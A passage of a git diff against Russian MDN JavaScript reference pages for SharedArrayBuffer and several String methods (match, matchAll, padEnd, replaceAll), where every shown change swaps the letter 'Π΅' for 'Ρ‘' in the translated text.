-<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Β <strong><code>SharedArrayBuffer</code></strong>Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для создания раздСлСнного Π±ΡƒΡ„Π΅Ρ€Π° фиксированной Π΄Π»ΠΈΠ½Ρ‹ для хранСния ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π½Ρ‹Ρ… Π±ΠΈΠ½Π°Ρ€Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…, ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ {{jsxref("ArrayBuffer")}}, Π½ΠΎ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹Β Π΄Π»Ρ создания ΠΎΠ±Π·ΠΎΡ€Π° Π½Π° Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ ΠΏΠ°ΠΌΡΡ‚ΡŒ. Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚Β <code>ArrayBuffer</code>,Β <code>SharedArrayBuffer</code> Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ отсоСдинСн.</p>
+<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Β <strong><code>SharedArrayBuffer</code></strong>Β ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для создания раздСлённого Π±ΡƒΡ„Π΅Ρ€Π° фиксированной Π΄Π»ΠΈΠ½Ρ‹ для хранСния ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π½Ρ‹Ρ… Π±ΠΈΠ½Π°Ρ€Π½Ρ‹Ρ… Π΄Π°Π½Π½Ρ‹Ρ…, ΠΏΠΎΠ΄ΠΎΠ±Π½ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ {{jsxref("ArrayBuffer")}}, Π½ΠΎ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Π½Ρ‹Β Π΄Π»Ρ создания ΠΎΠ±Π·ΠΎΡ€Π° Π½Π° Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ ΠΏΠ°ΠΌΡΡ‚ΡŒ. Π’ ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠ΅ ΠΎΡ‚Β <code>ArrayBuffer</code>,Β <code>SharedArrayBuffer</code> Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ отсоСдинСн.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
@@ -29,15 +29,15 @@ translation_of: Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer
<p>Для раздСлСния памяти с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β {{jsxref("SharedArrayBuffer")}}Β ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΎΠ΄Π½ΠΈΠΌ Π°Π³Π΅Π½Ρ‚ΠΎΠΌΒ Π² кластСрС ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΠΌ (Π°Π³Π΅Π½Ρ‚ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ как основной ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠΎΠΉ web-страницы, Ρ‚Π°ΠΊ ΠΈ ΠΎΠ΄Π½ΠΈΠΌ ΠΈΠ·Β web-workers), ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡΒ <code><a href="/en-US/docs/Web/API/Worker/postMessage">postMessage</a></code> ΠΈ <a href="/en-US/docs/Web/API/Web_Workers_API/Structured_clone_algorithm">structured cloning</a>.</p>
-<p>Алгоритм структурированного клонирования ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚Β <code>SharedArrayBuffers</code> ΠΈ <code>TypedArrays,</code> ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½Π½Ρ‹ΠΉ Π²Β <code>SharedArrayBuffers</code>. Π’ ΠΎΠ±ΠΎΠΈΡ… случаях, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Β <code>SharedArrayBuffer</code> пСрСдаСтся ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚Π΅Π»ΡŽ, Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚ΠΈΡ€ΡƒΡΒ Π² Π½ΠΎΠ²Ρ‹ΠΉ, ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ SharedArrayBuffer Π²Π½ΡƒΡ‚Ρ€ΠΈ Π°Π³Π΅Π½Ρ‚Π°-получатСля (Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΊΠ°ΠΊ для {{jsxref("ArrayBuffer")}}). Однако, Π±Π»ΠΎΠΊ ΠΎΠ±Ρ‰ΠΈΡ… Π΄Π°Π½Π½Ρ‹Ρ…, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉΒ ΡΡΡ‹Π»Π°ΡŽΡ‚ΡΡ ΠΎΠ±Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>SharedArrayBuffer, </code>это ΠΎΠ΄ΠΈΠ½ ΠΈ Ρ‚ΠΎΡ‚ ΠΆΠ΅ Π±Π»ΠΎΠΊ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΈ сторонниС эффСкты Π² Π±Π»ΠΎΠΊΠ΅ Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΈΠ· Π°Π³Π΅Π½Ρ‚ΠΎΠ² Π² ΠΈΡ‚ΠΎΠ³Π΅ станут Π·Π°ΠΌΠ΅Ρ‚Π½Ρ‹ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ Π°Π³Π΅Π½Ρ‚Π΅.</p>
+<p>Алгоритм структурированного клонирования ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚Β <code>SharedArrayBuffers</code> ΠΈ <code>TypedArrays,</code> ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΡ‘Π½Π½Ρ‹ΠΉ Π²Β <code>SharedArrayBuffers</code>. Π’ ΠΎΠ±ΠΎΠΈΡ… случаях, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Β <code>SharedArrayBuffer</code> пСрСдаётся ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚Π΅Π»ΡŽ, Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚ΠΈΡ€ΡƒΡΒ Π² Π½ΠΎΠ²Ρ‹ΠΉ, ΠΏΡ€ΠΈΠ²Π°Ρ‚Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ SharedArrayBuffer Π²Π½ΡƒΡ‚Ρ€ΠΈ Π°Π³Π΅Π½Ρ‚Π°-получатСля (Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΊΠ°ΠΊ для {{jsxref("ArrayBuffer")}}). Однако, Π±Π»ΠΎΠΊ ΠΎΠ±Ρ‰ΠΈΡ… Π΄Π°Π½Π½Ρ‹Ρ…, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉΒ ΡΡΡ‹Π»Π°ΡŽΡ‚ΡΡ ΠΎΠ±Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>SharedArrayBuffer, </code>это ΠΎΠ΄ΠΈΠ½ ΠΈ Ρ‚ΠΎΡ‚ ΠΆΠ΅ Π±Π»ΠΎΠΊ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΈ сторонниС эффСкты Π² Π±Π»ΠΎΠΊΠ΅ Π² ΠΎΠ΄Π½ΠΎΠΌ ΠΈΠ· Π°Π³Π΅Π½Ρ‚ΠΎΠ² Π² ΠΈΡ‚ΠΎΠ³Π΅ станут Π·Π°ΠΌΠ΅Ρ‚Π½Ρ‹ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ Π°Π³Π΅Π½Ρ‚Π΅.</p>
<pre class="brush: js">var sab = new SharedArrayBuffer(1024);
worker.postMessage(sab);
</pre>
-<h3 id="ОбновлСниС_ΠΈ_синхронизация_Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ_памяти_с_ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ_Атомарных_ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ">ОбновлСниС ΠΈ синхронизация Ρ€Π°Π·Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ памяти с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Атомарных опСраций</h3>
+<h3 id="ОбновлСниС_ΠΈ_синхронизация_Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ_памяти_с_ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ_Атомарных_ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ">ОбновлСниС ΠΈ синхронизация Ρ€Π°Π·Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ памяти с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Атомарных опСраций</h3>
-<p>РаздСлСнная ΠΏΠ°ΠΌΡΡ‚ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ создана ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π° ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ Π² Β workers или основном ΠΏΠΎΡ‚ΠΎΠΊΠ΅. Π’ зависимости ΠΎΡ‚ систСмы (ЦПУ, ОБ, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€) ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠΉΡ‚ΠΈ врСмя пока измСнСния Π±ΡƒΠ΄ΡƒΡ‚ распространСны ΠΏΠΎ всСм контСкстам. Для синхронизации Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ {{jsxref("АтомарныС", "Π°Ρ‚ΠΎΠΌΠ°Ρ€Π½Ρ‹Π΅", "", 1)}} ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈΒ .</p>
+<p>РаздСлённая ΠΏΠ°ΠΌΡΡ‚ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ создана ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½Π° ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ Π² Β workers или основном ΠΏΠΎΡ‚ΠΎΠΊΠ΅. Π’ зависимости ΠΎΡ‚ систСмы (ЦПУ, ОБ, Π±Ρ€Π°ΡƒΠ·Π΅Ρ€) ΠΌΠΎΠΆΠ΅Ρ‚ ΡƒΠΉΡ‚ΠΈ врСмя пока измСнСния Π±ΡƒΠ΄ΡƒΡ‚ распространСны ΠΏΠΎ всСм контСкстам. Для синхронизации Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ {{jsxref("АтомарныС", "Π°Ρ‚ΠΎΠΌΠ°Ρ€Π½Ρ‹Π΅", "", 1)}} ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈΒ .</p>
<h3 id="API_ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‰ΠΈΠ΅_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹_SharedArrayBuffer">API,Β ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‰ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹Β <code>SharedArrayBuffer</code></h3>
@@ -61,7 +61,7 @@ worker.postMessage(sab);
<dl>
<dt><code>SharedArrayBuffer.length</code></dt>
- <dd>Π”Π»ΠΈΠ½Π° конструктора <code>SharedArrayBuffer,</code>Β Ρ‡ΡŒΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½ΠΎ 1.</dd>
+ <dd>Π”Π»ΠΈΠ½Π° конструктора <code>SharedArrayBuffer,</code>Β Ρ‡ΡŒΡ‘ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ€Π°Π²Π½ΠΎ 1.</dd>
<dt>{{jsxref("SharedArrayBuffer.prototype")}}</dt>
<dd>ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ свойства для всСх ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²Β <code>SharedArrayBuffer</code>.</dd>
</dl>
diff --git a/files/ru/web/javascript/reference/global_objects/string/match/index.html b/files/ru/web/javascript/reference/global_objects/string/match/index.html
index 2819776d46..e857555cc6 100644
--- a/files/ru/web/javascript/reference/global_objects/string/match/index.html
+++ b/files/ru/web/javascript/reference/global_objects/string/match/index.html
@@ -70,7 +70,7 @@ console.log(found);
// '.1' - это послСднСС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, сопоставлСнноС с Π³Ρ€ΡƒΠΏΠΏΠΎΠΉ `(\.\d)`.
// Бвойство 'index' содСрТит Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ (0) индСкса совпадСния
// ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π½Π°Ρ‡Π°Π»Π° сопоставлСния
-// Бвойство 'input' содСрТит Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Π²Π΅Π΄Π΅Π½Π½ΠΎΠΉ строки.</pre>
+// Бвойство 'input' содСрТит Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π²Π²Π΅Π΄Ρ‘Π½Π½ΠΎΠΉ строки.</pre>
<h3 id="Example_Using_global_and_ignore_case_flags_with_match" name="Example:_Using_global_and_ignore_case_flags_with_match">ΠŸΡ€ΠΈΠΌΠ΅Ρ€: использованиС Ρ„Π»Π°Π³ΠΎΠ² Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ ΠΈ игнорирования рСгистра с ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ <code>match()</code></h3>
diff --git a/files/ru/web/javascript/reference/global_objects/string/matchall/index.html b/files/ru/web/javascript/reference/global_objects/string/matchall/index.html
index 6c8defbc17..1b698ae6cc 100644
--- a/files/ru/web/javascript/reference/global_objects/string/matchall/index.html
+++ b/files/ru/web/javascript/reference/global_objects/string/matchall/index.html
@@ -72,7 +72,7 @@ Array.from(matches, m =&gt; m[0]);
<h3 id="Π£Π»ΡƒΡ‡ΡˆΠ΅Π½Π½Ρ‹ΠΉ_доступ_ΠΊ_Π³Ρ€ΡƒΠΏΠΏΠ°ΠΌ_Π·Π°Ρ…Π²Π°Ρ‚Π°">Π£Π»ΡƒΡ‡ΡˆΠ΅Π½Π½Ρ‹ΠΉ доступ ΠΊ Π³Ρ€ΡƒΠΏΠΏΠ°ΠΌ Π·Π°Ρ…Π²Π°Ρ‚Π°</h3>
-<p>Π•Ρ‰Π΅ ΠΎΠ΄Π½Π° вСская ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ <code>matchAll</code> это ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½Π½Ρ‹ΠΉ доступ ΠΊ Π³Ρ€ΡƒΠΏΠΏΠ°ΠΌ Π·Π°Ρ…Π²Π°Ρ‚Π°. Π“Ρ€ΡƒΠΏΠΏΡ‹ Π·Π°Ρ…Π²Π°Ρ‚Π° ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΡŽΡ‚ΡΡ ΠΏΡ€ΠΈ использовании <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/match">match()</a></code> с Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΌ Ρ„Π»Π°Π³ΠΎΠΌΒ <code>/g</code>:</p>
+<p>Π•Ρ‰Ρ‘ ΠΎΠ΄Π½Π° вСская ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ <code>matchAll</code> это ΡƒΠ»ΡƒΡ‡ΡˆΠ΅Π½Π½Ρ‹ΠΉ доступ ΠΊ Π³Ρ€ΡƒΠΏΠΏΠ°ΠΌ Π·Π°Ρ…Π²Π°Ρ‚Π°. Π“Ρ€ΡƒΠΏΠΏΡ‹ Π·Π°Ρ…Π²Π°Ρ‚Π° ΠΈΠ³Π½ΠΎΡ€ΠΈΡ€ΡƒΡŽΡ‚ΡΡ ΠΏΡ€ΠΈ использовании <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/match">match()</a></code> с Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΌ Ρ„Π»Π°Π³ΠΎΠΌΒ <code>/g</code>:</p>
<pre class="brush: js notranslate">var regexp = /t(e)(st(\d?))/g;
var str = 'test1test2';
diff --git a/files/ru/web/javascript/reference/global_objects/string/padend/index.html b/files/ru/web/javascript/reference/global_objects/string/padend/index.html
index a380c3f50d..45c72b87e2 100644
--- a/files/ru/web/javascript/reference/global_objects/string/padend/index.html
+++ b/files/ru/web/javascript/reference/global_objects/string/padend/index.html
@@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/padEnd
---
<div>{{JSRef}}{{SeeCompatTable}}</div>
-<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <strong><code>padEnd()</code></strong> дополняСт Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ строку с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π·Π°Π΄Π°Π½Π½ΠΎΠΉ строки (Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ счСтС повторяя), Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚ΠΈΡ€ΡƒΡŽΡ‰Π°Ρ строка достигла Π·Π°Π΄Π°Π½Π½ΠΎΠΉ Π΄Π»ΠΈΠ½Ρ‹. Π”ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ примСняСтся Π²Β ΠΊΠΎΠ½Ρ†Π΅ (справа) Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ строки.</p>
+<p>ΠœΠ΅Ρ‚ΠΎΠ΄Β <strong><code>padEnd()</code></strong> дополняСт Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ строку с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Π·Π°Π΄Π°Π½Π½ΠΎΠΉ строки (Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ счётС повторяя), Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎΠ±Ρ‹ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚ΠΈΡ€ΡƒΡŽΡ‰Π°Ρ строка достигла Π·Π°Π΄Π°Π½Π½ΠΎΠΉ Π΄Π»ΠΈΠ½Ρ‹. Π”ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ примСняСтся Π²Β ΠΊΠΎΠ½Ρ†Π΅ (справа) Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ строки.</p>
<h2 id="Бинтаксис">Бинтаксис</h2>
@@ -23,7 +23,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/padEnd
<dt><code>targetLength</code></dt>
<dd>Π”Π»ΠΈΠ½Π° Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚ΠΈΡ€ΡƒΡŽΡ‰Π΅ΠΉ строки, послС Ρ‚ΠΎΠ³ΠΎ как тСкущая строка была Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½Π°. Если этот ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ мСньшС Π΄Π»ΠΈΠ½Ρ‹ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ строки, Ρ‚ΠΎΒ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π° тСкущая строка , ΠΊΠ°ΠΊ ΠΎΠ½Π° Π΅ΡΡ‚ΡŒ.</dd>
<dt><code>padString</code> {{optional_inline}}</dt>
- <dd>Π‘Ρ‚Ρ€ΠΎΠΊΠ° для дополнСния Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ строки с. Если эта строка слишком длинная, ΠΎΠ½Π° Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΡ€Π΅Π·Π°Π½Π° ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ Π΅Π΅ лСвая большая Ρ‡Π°ΡΡ‚ΡŒ. " " (U+0020)Β - Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для этого ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°.</dd>
+ <dd>Π‘Ρ‚Ρ€ΠΎΠΊΠ° для дополнСния Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΉ строки с. Если эта строка слишком длинная, ΠΎΠ½Π° Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΡ€Π΅Π·Π°Π½Π° ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ Π΅Ρ‘ лСвая большая Ρ‡Π°ΡΡ‚ΡŒ. " " (U+0020)Β - Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для этого ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°.</dd>
</dl>
<h3 id="Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
@@ -39,7 +39,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/padEnd
<h2 id="Π₯арактСристики">Π₯арактСристики</h2>
-<p>Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π΅Ρ‰Π΅ Π½Π΅ достиг стандарта ECMAScript. БСйчас ΠΎΠ½ Π² состоянии <a href="https://github.com/tc39/proposal-string-pad-start-end">proposal for ECMAScript</a>.</p>
+<p>Π­Ρ‚ΠΎΡ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ Π΅Ρ‰Ρ‘ Π½Π΅ достиг стандарта ECMAScript. БСйчас ΠΎΠ½ Π² состоянии <a href="https://github.com/tc39/proposal-string-pad-start-end">proposal for ECMAScript</a>.</p>
<h2 id="Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ_с_Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ">Π‘ΠΎΠ²ΠΌΠ΅ΡΡ‚ΠΈΠΌΠΎΡΡ‚ΡŒ с Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ</h2>
diff --git a/files/ru/web/javascript/reference/global_objects/string/replaceall/index.html b/files/ru/web/javascript/reference/global_objects/string/replaceall/index.html
index 8ccf95507f..432f977fc5 100644
--- a/files/ru/web/javascript/reference/global_objects/string/replaceall/index.html
+++ b/files/ru/web/javascript/reference/global_objects/string/replaceall/index.html
@@ -7,7 +7,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/replaceAll
<p><span class="seoSummary">ΠœΠ΅Ρ‚ΠΎΠ΄Β <strong><code>replaceAll()</code></strong>Β Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π½ΠΎΠ²ΡƒΡŽ строку со всСми совпадСниями <code>pattern</code>Β , ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ мСняСтся Π½Π°Β <code>replacement</code>.Β </span><code>pattern</code>Β ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ строкой или рСгулярным Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ΠΌ, ΠΈΒ <code>replacement</code>Β ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ строкой или функция Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°ΡŽΡ‰Π°Ρ ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ совпадСниС.</p>
-<p>Π˜ΡΡ…ΠΎΠ΄Π½Π°Ρ строка остаСтся Π±Π΅Π· ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ.</p>
+<p>Π˜ΡΡ…ΠΎΠ΄Π½Π°Ρ строка остаётся Π±Π΅Π· ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ.</p>
<div>{{EmbedInteractiveExample("pages/js/string-replaceall.html")}}</div>
@@ -19,14 +19,14 @@ translation_of: Web/JavaScript/Reference/Global_Objects/String/replaceAll
</pre>
<div class="blockIndicator note">
-<p>Когда Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ `<var>regexp</var>` Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Ρ„Π»Π°Π³ глобального поиска ("g"),Β ΠΈΠ½Π°Ρ‡Π΅ вСрнСтся ошибка <code>TypeError</code>: "replaceAll must be called with a global RegExp".</p>
+<p>Когда Π²Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚Π΅ `<var>regexp</var>` Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Ρ„Π»Π°Π³ глобального поиска ("g"),Β ΠΈΠ½Π°Ρ‡Π΅ вСрнётся ошибка <code>TypeError</code>: "replaceAll must be called with a global RegExp".</p>
</div>
<h3 id="Parameters">Parameters</h3>
<dl>
<dt><code><var>regexp</var></code> (pattern)</dt>
- <dd>РСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ Π±ΡƒΠΊΠ²Π° с Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΌ Ρ„Π»Π°Π³ΠΎΠΌ поиска ("g"). БовпадСния ΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ Π½Π°Β <code><var>newSubstr</var></code> ΠΈΠ»ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½ΠΎΠ΅ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉΒ <code><var>function</var></code>. A RegExp Π±Π΅Π· глобального Ρ„Π»Π°Π³Π° поиска ("g")Β Π²Π΅Ρ€Π½Π΅Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒΒ <code>TypeError</code>: "replaceAll must be called with a global RegExp".</dd>
+ <dd>РСгулярноС Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ Π±ΡƒΠΊΠ²Π° с Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹ΠΌ Ρ„Π»Π°Π³ΠΎΠΌ поиска ("g"). БовпадСния ΠΌΠ΅Π½ΡΡŽΡ‚ΡΡ Π½Π°Β <code><var>newSubstr</var></code> ΠΈΠ»ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΈ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½ΠΎΠ΅ ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉΒ <code><var>function</var></code>. A RegExp Π±Π΅Π· глобального Ρ„Π»Π°Π³Π° поиска ("g")Β Π²Π΅Ρ€Π½Ρ‘Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒΒ <code>TypeError</code>: "replaceAll must be called with a global RegExp".</dd>
<dt><code><var>substr</var></code></dt>
